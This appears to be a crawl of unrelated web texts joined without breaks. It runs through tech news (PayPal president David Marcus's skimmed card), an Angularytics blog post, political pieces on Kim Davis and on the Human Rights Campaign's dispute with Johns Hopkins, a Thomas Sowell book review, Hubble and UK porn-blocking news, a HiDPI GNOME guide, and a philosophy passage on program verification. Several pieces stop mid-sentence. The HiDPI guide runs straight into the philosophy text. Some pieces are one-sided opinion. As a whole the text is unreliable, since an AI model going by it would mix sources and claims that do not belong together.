Mammon laughs as the street corners undulate into crumpled nothingness; the mind is its own place, and can make a heaven of hell and a hell of Brooklyn; things fall apart, the center cannot hold; there is no Dana, only Zuul.
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The intersection is closed from traffic.
[MyFoxNY]
Screengrab via MyFoxNY
Contact the author at kate.knibbs@gizmodo.com.
Public PGP key
PGP fingerprint: FF8F 0D7A AB19 6D71 C967 9576 8C12 9478 EE07 10CWhen you own a company specializing in online payments, the constant threat of hackers and phishing schemes is an inescapable part of the job description. So it's hard not to experience a little schadenfreude in the fact that PayPal President David Marcus's credit card information got swiped recently and taken on a bit of a shopping spree. Oh, sweet irony.
Marcus tweeted about the problem earlier today, noting that the skimming probably happened sometime during his recent visit to the UK.
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The card had an EMV chip, which is supposedly more secure than the magnetic strip currently found in most US credit cards. So naturally, Marcus took the opportunity to plug PayPal's admittedly strong security measures. Of course, that doesn't mean PayPal has been entirely without its own missteps.
The only way this could have been better? If the credit card had belonged to the CEO of a certain, now notorious discount retail chain. [USA Today]TL;DR: Check out the Angularytics GitHub repo and quick bootstrap here
Hey,
We need Analytics to improve our app. However, most analytics (Like Google Analytics) aren’t yet fully prepared for Single Page Apps (SPA). Google Analytics tracks page views once your browser refreshes the page, which in old pages meant changing the URL. Now, with AngularJS, we never refresh the page. We have a complete WebApp which changes URLs, changes resources, but never does a refresh. So, the question is how can we track page views and events now?
That’s why I’ve created Angularytics. Angularytics makes it easy to track page views and events. For now, it works with a console logger and with Google Analytics.
In order to configure this to automatically track page views, all you need to do is the following:
Withi this, every time the URL changes in your SPA, Google is going to track this page view. Just 5 lines of code and you have this working in your SPA.
**Now, if you want to track events, you can do this by either using the trackEvent filter or the Angularytics service. **The track event method signature is the same as the one in Google Analytics and can be checked by clicking here
Let’s see how we can use the filter. Imagine we want to track an event when a user clicks on certain button that actually calls a function in the scope.
Pretty easy, right?
Now, let’s see how we can do this in a service:
This is it :). What do you think about this? I’d love your feedback :).
If you want to learn how to add an extra event handler like KissMetrics or for further information, please check on GitHub by clicking here.While Kentucky county clerk Kim Davis, who has attempted to deny marriage licenses to gay couples in her county and has been very upfront about her desire to use her public office to impose her religious beliefs on others, her lawyers at the Religious Right group Liberty Counsel have attempted to reframe her case as one about religious liberty, claiming that the clerk is merely seeking a personal exemption from putting her name on licenses.
Some in the Religious Right, it turns out, are unhappy with Liberty Counsel’s strategy and are urging Davis to go on openly defying the law in order to uphold what she sees as a divine mandate to stop gay marriages.
In an interview with former Missouri Republican state legislator Cynthia Davis in September, far-right activist Matt Trewhella insisted that by relying on religious liberty “nonsense,” Liberty Counsel was suppressing Davis’ true calling to “interpose” herself against gay marriage and thus save America from God’s judgment.
“What she should be doing is simply saying: ‘This is an immoral decree by the Supreme Court. I took an oath to uphold the Constitution. It’s repugnant to the Constitution. I will not issue marriage licenses to homosexuals, I will only issue marriage licenses to heterosexuals,’” Trewhella said.
Trewhella, a militant anti-abortion activist who in the 1990s signed a statement in defense of the murder of abortion providers, has recently been promoting the concept of “interposition of the lesser magistrate,” the idea that elected officials like Kim Davis have a duty to flout rulings that they believe defy divine law.
The Kentucky clerk, Trehwella said, must openly defy the Supreme Court’s marriage equality ruling because “when God looks for someone to stand in the gap against the tyranny, against wickedness being promulgated within the culture through the civil authority, if someone stands in the gap and defies them, then God relents in His judgment, but if they don’t defy the higher authority and they just go along with it, God allows His righteous judgment to come upon the land.”
“So, for her to be hiding behind the idea of ‘religious liberty’ is an absurdity,” he continued. “She shouldn’t be just trying to keep little Kim Davis from having to have her hand in the process of this abomination, two men or two women marrying. Her duty is far bigger than that. She actually has the duty to defy the higher authority completely and interpose on behalf of righteousness and therefore abate the just judgment of God upon our nation. That’s what true interposition of the lesser magistrate entails.”
Later in the interview, Trewhella insisted that Davis is a “good woman [who] just wants to openly defy and not issue to homosexuals” but had gotten “bad advice from her attorneys” because “standing on religious liberty is utter nonsense.”
He recommended that she instead seek the legal counsel of Michael Peroutka, a Christian Reconstructionist activist and Maryland county official, who said at a rally in support of Davis that the Supreme Court’s decision “is not law” because it is “not harmonious” with the word of God.(Spencer Platt/Getty Images)
A new book brilliantly explains how policies designed to help blacks end up harming them.
Back in the heyday of the British Empire, a man from one of the colonies addressed a London audience.
“Please do not do any more good in my country,” he said. “We have suffered too much already from all the good that you have done.”
That is essentially the message of an outstanding new book by Jason Riley about blacks in America. Its title is Please Stop Helping Us. Its theme is that many policies designed to help blacks are in fact harmful, sometimes devastatingly so. These counterproductive policies range from minimum-wage laws to “affirmative action” quotas.
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This book untangles the controversies, the confusions, and the irresponsible rhetoric in which issues involving minimum-wage laws are usually discussed. As someone who has followed minimum-wage controversies for decades, I must say that I have never seen the subject explained more clearly or more convincingly.
Black teenage-unemployment rates ranging from 20 to 50 percent have been so common over the past 60 years that many people are unaware that this was not true before there were minimum-wage laws, or even during years when inflation rendered minimum-wage laws ineffective, as in the late 1940s.
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Pricing young people out of work deprives them not only of income but also of work experience, which can be even more valuable. Pricing young people out of legal work, when illegal work is always available, is just asking for trouble. So is having large numbers of idle young males hanging out together on the streets.
When it comes to affirmative action, Jason Riley asks the key question: “Do racial preferences work? What is the track record?” Like many other well-meaning and nice-sounding policies, affirmative action cannot survive factual scrutiny.
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Some individuals may get jobs they would not get otherwise, but many black students who are quite capable of getting a good college education are admitted, under racial quotas, to institutions whose pace alone is enough to make it unlikely that they will graduate.
Studies that show how many artificial failures are created by affirmative-action admissions policies are summarized in Please Stop Helping Us, in language much easier to understand than in the original studies.
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There are many ponderous academic studies of blacks, if you have a few months in which to read them, but there is nothing to match Jason Riley’s book as a primer that will quickly bring you up to speed on the complicated subject of race in a week, or perhaps over a weekend.
As an experienced journalist, rather than an academic, Riley knows how to use plain English to get to the point. He also has the integrity to give it to you straight, instead of in the jargon and euphemisms too often found in discussions of race. The result is a book that provides more knowledge and insight in a couple of hundred pages than are usually found in books twice that length.
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Unlike academics who just tell facts, Riley knows which facts are telling.
For example, in response to claims that blacks don’t do well academically because the schools use an approach geared to white students, he points out that blacks from foreign, non-English-speaking countries do better in American schools than black, English-speaking American students.
Asian students do better than whites in schools supposedly geared to whites. In all three of New York City’s three academically elite public high schools — Stuyvesant, Bronx Science, and Brooklyn Tech — there are more than twice as many Asian students as white students.
So much for the theory that non-whites can’t do well in schools supposedly geared to whites.
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On issue after issue, Please Stop Helping Us cites facts to destroy propaganda and puncture inflated rhetoric. It is impossible to do justice to the wide range of racial issues — from crime to family disintegration — explored in this book. Pick up a copy and open pages at random to see how the author annihilates nonsense.
His brief comments pack a lot of punch. For example, “Having a black man in the Oval Office is less important than having one in the home.”
— Thomas Sowell is a senior fellow at the Hoover Institution. © 2014 Creators Syndicate Inc.They call themselves “progressives,” but on science, liberals are anything but! From climate change and stem cell research to fetal pain and gender, the relationship between the Left and the facts has always been a rocky one. For years, liberals have been quite content to throw overboard any evidence-based realities if it moves the needle on their agenda. They’ll ignore the facts, and if that doesn’t work, they’ll silence the fact-finders.
Just ask the research community at Johns Hopkins Medicine. Furious that two of the university’s scholars would dare to challenge their “born gay” myth, the country’s biggest LGBT bully — the Human Rights Campaign (HRC) — is determined to make the researchers’ pay. In special reports for The New Atlantis, Dr. Lawrence Mayer and Dr. Paul McHugh both found that there’s very little science to support the idea of a “gay gene.” From “Sexuality and Gender: Findings from the Biological, Psychological, and Social Sciences,” they write:
“Some of the most widely held views about sexual orientation, such as the ‘born that way’ hypothesis, simply are not supported by science. The literature in this area does describe a small ensemble of biological differences between non-heterosexuals and heterosexuals, but those biological differences are not sufficient to predict sexual orientation, the ultimate test of any scientific finding,” the report said. “The strongest statement that science offers to explain sexual orientation is that some biological factors appear, to an unknown extent, to predispose some individuals to a non-heterosexual orientation.”
The report went on to throw just as much cold water on the politically-correct theories of transgenderism. Enter the HRC’s ideological hostage-takers. Almost immediately, the group contacted the leadership of the university and demanded that Johns Hopkins disavow the report “or face consequences.” “This year, for the first time, HRC Foundation’s Healthcare Equality Index will rate hospitals with a numerical score and will consider whether hospitals and health systems’ practices reflect ‘responsible citizenship.’ If Hopkins’ leadership ignores their community’s call to correct the record — clarifying that McHugh and Mayer’s opinions do not represent it, and that its healthcare services provided reflect the scientific consensus on LGBTQ health and well-being — its Healthcare Equality Index score will be reduced substantially.”
Trending: MAJOR UPDATE on the Gofundme Wall – THIS IS THE INFO YOU HAVE ASKED FOR
It’s not enough that HRC bullies businesses, Christians, and companies. Now it wants to keep hospitals in line with its lying agenda! This is exactly what the organization did in North Carolina over H.B. 2. They knew they couldn’t win a debate on the facts of the law, so they twisted them! Now, they want to do the same with science. This is how intolerant and afraid of the truth the Left is. Instead of adapting their point of view to fit the research, liberals are demanding the research change.
And to its credit, The New Atlantis will have none of it. Firing back at HRC, the editors write:
“This blatant effort to intimidate Johns Hopkins University by insisting that the entire university must answer collectively for everything written by its faculty is a disturbing strategy designed to make impossible respectful disagreement in the academy on controversial matters. The HRC’s claim that its efforts ‘pose no threat to academic freedom’ is nonsense; intimidation tactics of this sort undermine the atmosphere of free and open inquiry that universities are meant to foster.”
They’re right. Isn’t the world of academia about fighting censorship and advocating for the free flow of ideas and information? Hopkins officials seem to think so. After reminding HRC of its commitment to the LGBT community, the university sticks to its guns on the value of the report.
“We… restate that as an academic medical research institution, academic freedom is among our fundamental principles — essential to the self-correcting nature of scientific inquiry, and a privilege that we safeguard. When individuals associated with Johns Hopkins exercise the right of expression, they do not speak on behalf of the institution. As set forth in the Johns Hopkins University Statement of Principles on Academic Freedom, academic freedom is designed to afford members of the community the broadest possible scope for unencumbered expression, investigation, analysis, and discourse.'”
The opinions expressed by columnists are their own and do not necessarily represent the views of Barb Wire.The Hubble Space Telescope has witnessed a violent interstellar drama, stunning photos of which have just been released.
Hubble observed the spiral galaxy ESO 137-001 getting torn apart as it made its way through the galaxy cluster Abell 3627, also known as the Norma Cluster.
Spiral galaxy ESO 137-001 never had a chance to survive its encounter with the Norma Cluster as it was just one galaxy against many. Galaxy cluster Abell 3627, located around 200 million light-years from the Milky Way galaxy, contains hundreds, or even thousands, of galaxies bound together by gravity.
The galaxy cluster is surrounded by hot gas and is in the process of stripping spiral galaxy ESO 137-001 of young stars. In the Hubble photo, the hot young stars, along with surrounding gas, being ripped away from the spiral galaxy by Abell 3627 are seen as blue streaks.
Photo: NASA, ESA, CXC
The Norma Cluster is located near an unusual part of space known as the Great Attractor. This region of space has an incredible gravitational pull that is drawing our Milky Way, the Virgo Cluster and other galaxy clusters to it, and what's behind this force is currently unknown, reports Universe Today. The Great Attractor is located behind the Milky Way, and the gas and dust at the center of our galaxy is blocking any view of what’s behind the force pulling these galaxies at a rate of 600 kilometers per second (37.3 miles per second), but it is believed to be a super cluster of galaxies.
According to the Hubble release, the process is known as ram pressure stripping. In this case, the superheated plasma, reaching temperatures of 100 million degrees Fahrenheit, at the center of Abell 3627 is putting pressure on ESO 137-001, leading to a drag force that is ripping the young stars and gas from the spiral galaxy. This process can also occur to galaxies within the cluster.
Photo: X-ray: NASA/CXC/UVa/M. Sun et al; H-alpha/Optical: SOAR/MSU/NOAO/UNC/CNPq-Brazil/M.Sun et al.
Other evidence of this process can be seen in the distortion of the spiral galaxy’s disc, but the galaxy's own gravitational influence will keep it from being totally torn apart. Nevertheless, ESO 137-001 has been stripped of most of its cold gas that is vital for star formation activity, which means it will be unable to create new stars.
A video zooming in on the "crime" scene can be viewed below.An amendment proposed to the Digital Economy Bill would force internet service providers (ISPs) to block pornographic websites if they fail to verify the age of a visitor.
The bill, which is now in the final stage of consideration in Parliament, originally set out to impose age restrictions on all pornographic websites, forcing users to state how old they were before accessing material.
The bill states that "a person must not make pornographic material available on the internet on a commercial basis to persons in the UK, except in a way that secures that, at any given time, the material is not normally accessible by persons under the age of 18."
Now a group of MPs have put forward a change that would block sites that failed to assess the age of their visitors, determined by a government-appointed 'age verification regulator'.
The government believes the new powers will help protect children from accessing inappropriate material on the internet.
However, Open Rights Group (ORG), a digital free speech organisation, argued the bill is an infringement on human rights, and a complete block on content should only be reserved for those sites showing illegal material.
"Perhaps these MPs have realised that plans to make all adult websites apply age verification are unworkable as foreign porn sites may simply not comply," said Jim Killock, executive director of ORG.
"While child protection is important, this proposal is disproportionate. Censorship of this kind should be reserved for illegal and harmful content," added Killock.
Under the new bill proposed by Conservative MP Claire Perry, the regulator can fine any ISP that fails to block websites violating the new terms.
The bill will also target suppliers of content and 'ancillary services', which include card payment providers and advertising. The hope is that porn sites failing to comply with the new rules will not only have their content blocked, but will struggle to make money from UK customers.
However ORG argues that "ancillary services could include website hosts, search engines, DNS services, web designers... this needs restriction just for the sake of some basic legal certainty".
"We are talking about potentially thousands of websites with legal material being censored, something that is unprecedented in the developed world," said Killock.
The bill, which is set to come into law in 2017, will address a swathe of issues related to electronic communications, including broadband obligations, intellectual property and fraud against the public sector.I have seen the future and it is HiDPI monitors and laptop screens (what is known as Retina Display in the Apple world). My current laptop is the Dell XPS 13 (9360) which came out of the box with Ubuntu. The highest resolution is 3200×1800. This is astonishing and really puts Dell ahead of other laptop manufacturers who are still putting out non-Retina laptop displays.
3200×1800 = Tiny Icons, Tiny Text
Unfortunately, no one is really ready for the future with HiDPI in GNU/Linux! When I left the native resolution at 3200×1800, the GNOME3 theme was small and had to be scaled to a factor of 2, the icons in most GTK and KDE applications were also tiny.
To try and solve those problems I asked on AskUbuntu (a Stackoverflow/Stack Exchange off-shoot):
The ArchLinux wiki has a page for HiDPI screens and on it you will find ways to:
Downscale from 3200×1800 to 1920×1080
But what if you wanted to downscale rather than upscale everything? I thought of this idea when using the Macbook Pros at my job (every developer job seems to have consolidated on Apple Macbooks as the gear of choice, guess it’s less of a pain for the IT support department to deal with? or they get a nice volume discount?)
The Macbook Pro has a Retina screen with a high native resolution, 2880×1800. However, Apple has downscaled to a lower resolution, 1400×900 to be precise. Apple labels that as the best resolution, and this Anand Tech article explains that for every pixel at the lower resolution you actually four pixels (since the native resolution is so much higher). I have actually found it hard to go back to regular monitors after working on a downscaled Macbook and I wanted the same experience on the Dell XPS. Not only that, but downscaling would also fix my problems with tiny text and icons.
Here are the instructions on how to downscale a HiDPI GNU/Linux desktop to a scaled resolution, specifically on GNOME. Unity has its own tweak tool and there are instructions on the ArchLinux Wiki to downscale KDE.
Lower the Resolution
Open the screen display configuration screen and find your display. Then change the resolution from 3200×1800 (16:9) to 1920×1080(16:9). You can lower this further but remember you have to maintain the same perspective ratio. Apple Macbooks are at 16:10, the Dell XPS 13 uses 16:9 perspective.
Note: if you downscale further, you will need to change all the settings below from 1 to 0.75 or 0.5 (whichever looks best at the lower resolution). For me at 1920×1080 (16:9) I changed all settings to 1. The lowest resolution for me is 1360×768 (16:9) which would require scaling everything down to 0.75 or 0.5 to look good. (Side note: the first laptop I ever owned was the Dell Inspiron 1545 which had a resolution of 1366×768).
Adjust the Window Scaling Factor
You’re going to need the GNOME Tweak tool installed for this. Find the Windows tab in the Tweak Tool and find the HiDPI section. Change the Window scaling setting from 2 to 1.
Adjust the Font Scaling Factor
You’re going to need the GNOME Tweak tool installed for this. Find the Fonts tab and look for Scaling Factor, change the setting |
in VDM (Jones 1990 [1986]).
SQRTP \((x\):real, \(y\):real) Pre : \(x \ge 0\)
: \(x \ge 0\) Post: \(y* y = x\) and \(y \ge 0\)
This is a specification of a square root function with the precondition that the input is positive. It is a functional description in that it says what it must do without saying how it is to be achieved. One way to unpack this what-how difference is in terms of the descriptive-imperative distinction. Programs are imperative and say how to achieve the goal, whereas specifications are declarative and only describe the input/output behavior of the intended program. Certainly, in the imperative programming paradigm, this seems to capture a substantive difference. But it is not appropriate for all. For example, logic and functional programming languages (Thompson 2011) are not obviously governed by it. The problem is that programming languages have evolved to a point where this way of describing the distinction is not marked by the style or paradigm of the programming language. Indeed, in practice, a program written in Haskell (Thompson 2011) could act as a specification for a program written in C (Huss 1997, Other Internet Resources).
A more fundamental difference concerns the direction of governance, i.e., which is the normative partner in the relationship and which is the submissive one. In the case of the specification of the square root function, the artifact is the linguistic program. When the program is taken as the specification, the artifact is the next level of code, and so on down to a concrete implementation. This is in accord with Rapaport (2005) and his notion of the asymmetry of implementation.
6. Verification
One of the crucial parts of the software development process is verification: After computational artifacts have been specified, instantiated into some high-level programming language, and implemented in hardware, developers are involved in the activities of evaluating whether those artifacts are correct with respect to the provided program specifications. Correctness evaluation methods can be roughly sorted into two main groups: formal verification and testing. Formal verification (Monin 2003) involves some mathematical proof of correctness, software testing (Ammann & Offutt 2008) rather implies running the implemented program and observing whether performed executions comply or do not comply with the advanced specifications on the behaviors of such program. In many practical cases, formal methods and testing are used together for verification purposes (see for instance Callahan et al. 1996).
6.1 Models and Theories
Formal verification methods include the construction of representations of the piece of software to be verified against some set of program specifications. In theorem proving (see Van Leeuwen 1990), programs are represented in terms of axiomatic systems and a set of rules of inference for programs’ transition conditions; a proof of correctness is provided by deriving opportunely formalized specifications from those set of axioms. In model checking (Baier & Katoen 2008), a program is represented in terms of some state transition system, the program’s property specifications are represented in terms of temporal logic formulas (Kröger & Merz 2008), and a proof of correctness is achieved by a depth-first search algorithm that checks whether those temporal logic formulas hold of the state transition system.
Axiomatic systems and state transition systems used to evaluate whether the executions of the represented computational artifacts conform or do not conform with the behaviors prescribed by their specifications can be understood as theories of the represented systems in that they are used to predict and explain the future behaviors of those systems. In particular, state transition systems in model checking can be compared, on a methodological basis, with scientific models in empirical sciences (Angius & Tamburrini 2011). For instance, Kripke Structures are in compliance with Suppes’ (1960) definition of scientific models as set-theoretic structures establishing proper mapping relations with models of data collected by means of experiments on the target empirical system (see also the entry on models in science). A Kripke Structure \(M = (S\), \(S_0\), \(R, L)\) is a set-theoretic model composed of a non-empty set of states \(S\), together with a non-empty set of initial states \(S_0\), a total state transition relation \(R \subseteq S \times S\), and a function \(L: S \rightarrow 2^{\textit{AP}}\) labeling each state in \(S\) with subsets of a set of atomic propositions AP.
Kripke Structures and other state transition systems utilized in formal verification methods are often called system specifications. They are distinguished from common specifications, also called property specifications. The latter specify some required behavioral properties the artifact to be encoded must instantiate, while the former specify (in principle) all potential executions of an already encoded program, thus allowing for algorithmic checks on its traces (Clarke et al. 1999). In order to achieve this goal, system specifications are to be considered as abductive structures hypothesizing the set of potential executions of a target computational artifact on the basis of the program’s code and the allowed state transitions (Angius 2013b). Indeed, once some temporal logic formula has been checked to hold or not to hold of the modeled Kripke Structure, the represented program is empirically tested against the behavioral property corresponding to the checked formula to evaluate whether the model-hypothesis is an adequate representation of the target artifact. Accordingly, property specifications and system specifications differ also in their intentional stance (Turner 2011): Property specifications are requirements \(on\) the program to be encoded, system specifications are (hypothetical) descriptions \(of\) the encoded program. The descriptive and abductive character of state transition systems in model checking is an additional and essential feature putting state transition systems on a par with scientific models.
6.2 Testing and Experiments
The so-called “agile methods” in software development make extensive use of software testing to evaluate the dependability of the implemented computational artifacts. Testing is the more “empirical” process of launching a program and observing its executions to evaluate whether they comply or do not comply with the supplied property specifications. Philosophers and philosophically-minded computer scientists analyzed the software testing techniques under the light of traditional methodological approaches in scientific discovery (Snelting 1998; Gagliardi 2007; Northover et al. 2008; Angius 2014) and questioned whether software tests can be acknowledged as scientific experiments evaluating the correctness of programs (Schiaffonati & Verdicchio 2014; Schiaffonati 2015; Tedre 2015).
Dijkstra’s well-known dictum “Program testing can be used to show the presence of bugs, but never to show their absence” (Dijkstra 1970: 7), introduces Popper’s (1959) principle of falsifiability into computer science (Snelting 1998). Testing a program against an advanced property specification for a given interval of time, may exhibit some failures but if no failure is executed while observing the running program, one cannot conclude that the program is correct. An incorrect execution might be observed at the very next system’s test. The reason is that testers can only launch the program with a finite subset of the potential program’s input set and for a finite interval of time; accordingly, not all potential executions of the artifact to be tested can be empirically observed. For this reason, the aim of software testing is to detect programs’ faults and not to assure for their absence (Ammann & Offutt 2008: 11). A program is falsifiable in that tests can reveal them (Northover et al. 2008). Given a computational artifact and a property specification, a test is akin to a scientific experiment which, by observing the system’s behaviors, tries to falsify the hypothesis that the program is correct with respect to the interested specification.
However, one should be careful to note that other methodological and epistemological traits characterizing scientific experiments are not shared by software tests. A first methodological distinction can be recognized in that a falsifying test leads to the revision of the artifact, not of the hypothesis, as in the case of testing scientific hypotheses. This is due to the difference in the intentional stance of specifications and empirical hypotheses in science (Turner 2011). Specifications are requirements whose violation demands for program revisions until the program becomes a correct instantiation of the specifications.
Accordingly, the notion of scientific experiments, as it has been traditionally examined by the philosophy of empirical sciences, needs to be somehow “stretched” in order to be applied to software testing activities (Schiaffonati 2015). Theory-driven experiments, characterizing most of experimental sciences, find no counterpart in actual computer science practice. Indeed, if one excludes the cases wherein testing is combined with formal methods, most experiments performed by software engineers are rather explorative. An experiment is explorative when it is aimed at “exploring”
the realm of possibilities pertaining to the functioning of an artefact and its interaction with the environment in the absence of a proper theory or theoretical background. (Schiaffonati 2015: 662)
Software testers often do not have theoretical control on the experiments they perform; exploration on the behaviors of the artifacts interacting with users and environments rather provides testers with theoretical generalizations on the observed behaviors. Explorative experiments in computer science are also characterized by the fact that programs are often tested in a real-like environment wherein testers play the role of users. However, it is an essential feature of theory-driven experiments that experimenters do not take part in the experiment to be carried out.
As a result, some software testing activities are closer to the experimental activities one finds in empirical sciences, some others rather define a new typology of experiment that turns out to belong to the software development process. Five typologies of experiments can be distinguished in the process of specifying, implementing, and evaluating computing artifacts (Tedre 2015). Feasibility experiments are performed to evaluate whether an artifact of interest performs the functions specified by users and stakeholders; trial experiments are more specific experiments carried out to evaluate isolated capabilities of the system given some set of initial conditions; field experiment are performed in real environments and not in simulated ones; comparison experiments test similar artifacts, instantiating in different ways the same function, to evaluate which instantiation better performs the desired function both in real-like and real environments; finally,controlled experiments are used to appraise advanced hypotheses on the behaviors of the testing artifact. Only controlled experiments are on a par with scientific theory-driven experiments in that they are carried out on the basis of some theoretical hypotheses under evaluation.
6.3 Explanation
A software test is considered successful when miscomputations are detected (assuming that no computational artifact is 100% correct). The successive step is to find out what caused the execution to be incorrect rather than correct, that is, to trace back the fault (more familiarly named “bug”), before proceeding to the debugging phase and then testing the system again. In other words, an explanation of the observed miscomputation is to be advanced.
Efforts have been spent in analyzing explanations in computer science (Piccinini 2007; Piccinini & Craver 2011; Piccinini 2015; Angius & Tamburrini forthcoming) in relation to the different models of explanations elaborated in the philosophy of science. In particular, computational explanations can be understood as a specific kind of mechanist explanations (Glennan 1996; Machamer et al. 2000; Bechtel & Abrahamsen 2005), insofar as computing processes can be analyzed as mechanisms (Piccinini 2007, 2015; see also the entry on computation in physical systems). A mechanism can be defined in terms of “entities and activities organized such that they are productive of regular changes from start or set-up to finish or termination condition” (Machamer et al. 2000: 3), in other words, as a set of components, their functional capabilities, and their organization enabling them to bring about an empirical phenomenon. And a mechanistic explanation of such a phenomenon turns out to be the description of the mechanism that brings about that phenomenon, that is, the description of the involved components and functional organization. A computing mechanism is defined as a mechanism whose functional organization brings about computational processes. A computational process is to be understood here, in general terms, as a manipulation of strings, leading from input strings to output strings by means of operations on intermediate strings.
Consider a processor executing an instruction. The involved process can be understood as a mechanism whose components are state and combinatory elements in the processor instantiating the functions prescribed by the relevant hardware specifications (specifications for registers, for the Arithmetic Logic Unit etc.), organized in such a way that they are capable of carrying out the observed execution. Accordingly, providing the description of such a mechanism or, in other words, describing the functional organization of hardware components, counts as advancing a mechanist explanation of the observed computation, such as the explanation of an operational malfunction.
For every type of miscomputation defined in §7.5, a corresponding mechanist explanation can be defined at the adequate level of abstraction and with respect to the set of specifications characterizing that level of abstraction. Indeed, abstract descriptions of mechanisms still supply one with a mechanist explanation in the form of a mechanism schema, defined as “a truncated abstract description of a mechanism that can be filled with descriptions of known component parts and activities” (Machamer et al. 2000: 15). For instance, suppose the very common case in which a machine miscomputes by executing a program containing syntax errors, called slips §7.5. The computing machine is unable to correctly implement the functional requirements provided by the program specifications. However, for explanatory purposes, it would be redundant to provide an explanation of the occurred slip at the hardware level of abstraction, by advancing the detailed description of the hardware components and their functional organization. In such cases, a satisfactory explanation may consist in showing that the program’s code is not a correct instantiation of the provided program specifications (Angius & Tamburrini forthcoming). In these cases, in order to explain mechanistically an occurred miscomputation, it may be sufficient to provide the description of the incorrect program, abstracting from the rest of the computing mechanism (Piccinini & Craver 2011). Abstraction is a virtue not only in software development and specification, but also in the explanation of computational artifacts’ behaviors.
7. Correctness
One of the earliest philosophical disputes in computer science centers upon the nature of program correctness. The overall dispute was set in motion by two papers (De Millo et al. 1979; Fetzer 1988) and was carried on in the discussion forum of the ACM (e.g., Ashenhurst 1989; Technical Correspondence 1989). The pivotal issue derives from the duality of programs, and what exactly is being claimed to be correct relative to what. Presumably, if a program is taken to be a mathematical thing, then it has only mathematical properties. But seen as a technical artifact it has physical ones.
7.1 Mathematical Correctness
On the face of it, Hoare seems to be committed to what we shall call the mathematical perspective, i.e., that correctness is a mathematical affair; i.e., establishing that a program is correct relative to a specification involves only a mathematical proof.
Computer programming is an exact science in that all the properties of a program and all the consequences of executing it in any given environment can, in principle, be found out from the text of the program itself by means of purely deductive reasoning. (Hoare 1969: 576)
Consider our specification of a square root function. What does it mean for a program \(P\) to satisfy it? Presumably, relative to its abstract semantics, every program \((P)\), carves out a relationship \(R_P\) between its input and output, its extension. The correctness condition insists that this relation satisfies the above specification, i.e.,
(C) \( \forall x: \textit{Real}. \forall y:\textit{Real}\cdot x \ge 0 \rightarrow (R_P(x, y) \rightarrow y* y = x \textrm{ and } y \ge 0)\)
This demands that the abstract program, determined by the semantic interpretation of its language, satisfies the specification. The statement (C) is a mathematical assertion between two abstract objects and so, in principle, the correctness maybe established mathematically. A mathematical relationship of this kind is surely what Hoare has in mind, and in terms of the abstract guise of the program, there is little to disagree with. However, there are several concerns here. One has to do with the complexity of modern software (the complexity challenge), and the other the nature of physical correctness (the empirical challenge).
7.2 The Complexity Challenge
Programmers are always surrounded by complexity; we cannot avoid it. Our applications are complex because we are ambitious to use our computers in ever more sophisticated ways. Programming is complex because of the large number of conflicting objectives for each of our programming projects. If our basic tool, the language in which we design and code our programs, is also complicated, the language itself becomes part of the problem rather than part of its solution. (Hoare 1981: 10)
Within the appropriate mathematical framework, proving the correctness of any linguistic program, relative to its specification, is theoretically possible. However, real software is complex. In such cases, proving correctness might be infeasible practically. One might attempt to gain some ground by advocating that classical correctness proofs should be carried out by a theorem prover, or at least one should be employed somewhere in the process. However, the latter must itself be proven correct. While this may reduce the correctness problem to that of a single program, it still means that we are left with the correctness problem for a large program. Moreover, in itself this does not completely solve the problem. For both theoretical and practical reasons, in practice, human involvement is not completely eliminated. In most cases, proofs are constructed by hand with the aid of interactive proof systems. Even so, a rigorous proof of correctness is rarely forthcoming. One might only require that individual correctness proofs be checked by a computer rather than a human. But of course the proof-checker is itself in need of checking. Arkoudas and Bringsjord (2007) argue that since there is only one correctness proof that needs to be checked, namely that of the proof checker itself, then the possibility of mistakes is significantly reduced.
This is very much a practical issue. However, there is a deeper conceptual one. Are proofs of program correctness genuine mathematical proofs, i.e., are such proofs on a par with standard mathematical ones? (De Millo et al. 1979) claim that correctness proofs are unlike proofs in mathematics. The latter are conceptually interesting, compelling and attract the attention of other mathematicians who want to study and build upon them. This argument parallels the graspability arguments made in the philosophy of mathematics. Proofs that are long, cumbersome, and uninteresting cannot be the bearers of the kind of certainty that is attributed to standard mathematical proofs. The nature of the knowledge obtained from correctness proofs is said to be different to the knowledge that may be gleaned from standard proofs in mathematics. In order to be taken in, proofs must be graspable. Indeed, Wittgenstein would have it that proofs that are not graspable cannot act as norms, and so are not mathematical proofs (Wittgenstein 1956).
Mathematical proofs such as the proof of Gödel’s incompleteness theorem are also long and complicated. But they can be grasped. What renders such complicated proofs transparent, interesting, and graspable involves the use of modularity techniques (e.g., lemmas), and the use of abstraction in the act of mathematical creation. The introduction of new concepts enables a proof to be constructed gradually, thereby making the proofs surveyable. Mathematics progresses by inventing new mathematical concepts that facilitate the construction of proofs that would be far more complex and even impossible without them. Mathematics is not just about proof; it also involves the abstraction and creation of new concepts and notation. In contrast, formal correctness proofs do not seem to involve the creation of new concepts and notations. While computer science does involve abstraction, it is not quite in the same way.
One way of addressing the complexity problem is to change the nature of the game. The classical notion of correctness links the formal specification of programs to its formal semantic representation. It is at one end of the mathematical spectrum. However, chains of specification-artifact pairings, positioned at varying degrees of abstraction, are governed by different notions of correctness. For example, in the object-oriented approach, the connection between a UML specification and a Java program is little more than type checking. The correctness criteria involve structural similarities and identities (Gamma et al. 1994). Here, we do not demand that one infinite mathematical relation is extensionally governed by another. At higher levels of abstraction, we may have only connections of structure. These are still mathematical relationships. However, such methods, while they involve less work, and may even be automatically verified, establish much less.
7.3 The Empirical Challenge
The notion of program verification appears to trade upon an equivocation. Algorithms, as logical structures, are appropriate subjects for deductive verification. Programs, as causal models of those structures, are not. The success of program verification as a generally applicable and completely reliable method for guaranteeing program performance is not even a theoretical possibility. (Fetzer 1988: 1)
In fact, this issue is alluded to by Hoare in the very text that Fetzer employs to characterize Hoare’s mathematical stance on correctness.
When the correctness of a program, its compiler, and the hardware of the computer have all been established with mathematical certainty, it will be possible to place great reliance on the results of the program, and predict their properties with a confidence limited only by the reliability of the electronics. (Hoare 1969: 579)
All seemed to be agreed that computational systems are at bottom physical systems, and some unpredictable behavior may arise because of the causal connections. Indeed, even when theorem provers and proof checkers are used, the results still only yield empirical knowledge. A proof checker is a program running on a physical machine. It is a program that has been implemented and its results depend upon a physical computation. Consequently, at some level, we shall need to show that some physical machine operations meet their specification. Testing and verification seem only to yield empirical evidence. Indeed, the complexity of program proving has led programmers to take physical testing to be evidence that the abstract program meets its specification. Here, the assumption is that the underlying implementation is correct. But prima facie, it is only empirical evidence.
